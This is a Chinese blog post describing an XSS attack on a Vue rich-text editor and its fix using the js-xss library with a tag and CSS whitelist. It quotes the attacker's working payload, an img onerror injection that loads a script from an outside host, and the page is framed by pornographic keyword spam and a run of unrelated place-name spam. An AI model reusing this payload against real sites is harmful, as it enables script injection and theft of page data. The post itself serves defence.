最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

一次VUE項(xiàng)目中遇到XSS攻擊的實(shí)戰(zhàn)記錄

 更新時(shí)間:2021年12月01日 11:14:59   作者:MiRenyang  
XSS?攻擊是頁(yè)面被注入了惡意的代碼,下面這篇文章主要給大家介紹了一次VUE項(xiàng)目中遇到XSS攻擊的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下

前言

隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問(wèn)題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問(wèn)題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問(wèn)題之外,又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問(wèn)題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來(lái)增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。

發(fā)現(xiàn)原因

一切的原因都?xì)w咎于富文本編輯器....

應(yīng)需求將文本域修改成富文本編輯器支持用戶直接粘貼圖片遭到用戶使用網(wǎng)絡(luò)圖片上傳方式攻擊

攻擊代碼1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在數(shù)據(jù)回顯時(shí),圖片報(bào)錯(cuò)并執(zhí)行onerror事件,導(dǎo)致當(dāng)前頁(yè)面被截圖發(fā)送至指定郵箱

最開始解決辦法是直接關(guān)閉富文本編輯器上傳網(wǎng)絡(luò)圖片的方式,但是后續(xù)再次遭到此類攻擊,攻擊者使用“fiddler”修改參數(shù)達(dá)到同樣效果

最終采用第三方防御XSS攻擊插件并通過(guò)配置白名單解決,在提交以及拿到后端返回?cái)?shù)據(jù)時(shí)進(jìn)行過(guò)濾

插件中文文檔地址:github.com/leizongmin/

npm install xss

import filterXSS from "xss"

自定義過(guò)濾規(guī)則

在調(diào)用 xss() 函數(shù)進(jìn)行過(guò)濾時(shí),可通過(guò)第二個(gè)參數(shù)來(lái)設(shè)置自定義規(guī)則:

options = {}; // 自定義規(guī)則
html = filterXSS('<script>alert("xss");</script>', options);

通過(guò) whiteList 來(lái)指定,格式為:{'標(biāo)簽名': ['屬性1', '屬性2']}。不在白名單上的標(biāo)簽將被過(guò)濾,不在白名單上的屬性也會(huì)被過(guò)濾。

let options = {
    stripIgnoreTagBody: true, // 不在白名單中的標(biāo)簽以及標(biāo)簽里面的內(nèi)容直接刪除
    whiteList: {
        h1: ["style"],
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video: [
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     css: {
     // 因?yàn)樯厦姘酌麊沃性试S了標(biāo)簽的style屬性,所以需要防止攻擊者使用此途徑進(jìn)行攻擊
        whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)

總結(jié)

到此這篇關(guān)于VUE項(xiàng)目中遇到XSS攻擊的文章就介紹到這了,更多相關(guān)VUE項(xiàng)目XSS攻擊內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Vue簡(jiǎn)單封裝axios網(wǎng)絡(luò)請(qǐng)求的方法

    Vue簡(jiǎn)單封裝axios網(wǎng)絡(luò)請(qǐng)求的方法

    這篇文章主要介紹了Vue簡(jiǎn)單封裝axios網(wǎng)絡(luò)請(qǐng)求,本文通過(guò)示例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,對(duì)Vue封裝axios網(wǎng)絡(luò)請(qǐng)求相關(guān)知識(shí)感興趣的朋友一起看看吧
    2022-11-11
  • vue.js Router中嵌套路由的實(shí)用示例

    vue.js Router中嵌套路由的實(shí)用示例

    這篇文章主要給大家介紹了關(guān)于vue.js Router中嵌套路由的相關(guān)資料,所謂嵌套路由就是路由里面嵌套他的子路由,文章通過(guò)示例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2021-06-06
  • 查看當(dāng)前vue項(xiàng)目所需Node.js版本的方法

    查看當(dāng)前vue項(xiàng)目所需Node.js版本的方法

    這篇文章主要大家介紹了查看當(dāng)前vue項(xiàng)目所需Node.js版本的方法,文章通過(guò)代碼示例給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作有一定的幫助,需要的朋友可以參考下
    2023-11-11
  • Vue路由history模式解決404問(wèn)題的幾種方法

    Vue路由history模式解決404問(wèn)題的幾種方法

    這篇文章主要介紹了Vue路由history模式解決404問(wèn)題的幾種方法,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧
    2018-09-09
  • Vue2實(shí)現(xiàn)組件通訊的常用方式

    Vue2實(shí)現(xiàn)組件通訊的常用方式

    在 Vue 項(xiàng)目開發(fā)中,組件通訊是基礎(chǔ)也是核心,不同的組件關(guān)系(父子、祖先后代、任意組件)有著不同的最優(yōu)解方案,本文介紹了Vue項(xiàng)目中組件通訊的不同方式,包括父子組件的props、v-model和自定義事件,需要的朋友可以參考下
    2026-04-04
  • vue實(shí)現(xiàn)token過(guò)期自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面

    vue實(shí)現(xiàn)token過(guò)期自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面

    本文主要介紹了vue實(shí)現(xiàn)token過(guò)期自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面,文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2021-10-10
  • vue+element+springboot實(shí)現(xiàn)文件下載進(jìn)度條展現(xiàn)功能示例

    vue+element+springboot實(shí)現(xiàn)文件下載進(jìn)度條展現(xiàn)功能示例

    本文主要介紹了vue + element-ui + springboot 實(shí)現(xiàn)文件下載進(jìn)度條展現(xiàn)功能,文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2021-11-11
  • 前端vue3打印功能實(shí)現(xiàn)(多頁(yè)打印、不使用插件)

    前端vue3打印功能實(shí)現(xiàn)(多頁(yè)打印、不使用插件)

    在Vue項(xiàng)目中實(shí)現(xiàn)打印功能是前端開發(fā)中常見(jiàn)需求之一,這篇文章主要介紹了前端vue3打印功能實(shí)現(xiàn)的全部過(guò)程,文中介紹的方法實(shí)現(xiàn)了多頁(yè)打印并且不使用插件,需要的朋友可以參考下
    2024-09-09
  • vue3?setup語(yǔ)法糖下父組件如何調(diào)用子組件

    vue3?setup語(yǔ)法糖下父組件如何調(diào)用子組件

    這篇文章主要介紹了vue3?setup語(yǔ)法糖下父組件如何調(diào)用子組件問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-03-03
  • vue3?中ref和reactive的區(qū)別講解

    vue3?中ref和reactive的區(qū)別講解

    如果在template里使用的是ref類型的數(shù)據(jù),?那么Vue會(huì)自動(dòng)幫我們添加.value,如果在template里使用的是reactive類型的數(shù)據(jù),?那么Vue不會(huì)自動(dòng)幫我們添加.value,這篇文章主要介紹了vue3?中ref和reactive的區(qū)別,需要的朋友可以參考下
    2022-12-12

最新評(píng)論

泗阳县| 东海县| 巴林左旗| 烟台市| 招远市| 礼泉县| 兴文县| 股票| 南丹县| 清水河县| 台前县| 安多县| 腾冲县| 菏泽市| 来安县| 博罗县| 大方县| 怀安县| 班玛县| 云林县| 调兵山市| 额敏县| 博客| 晋宁县| 鹤山市| 眉山市| 锦屏县| 韩城市| 双柏县| 昭平县| 无极县| 南木林县| 兴国县| 依兰县| 任丘市| 太保市| 明溪县| 龙里县| 平山县| 南汇区| 天水市|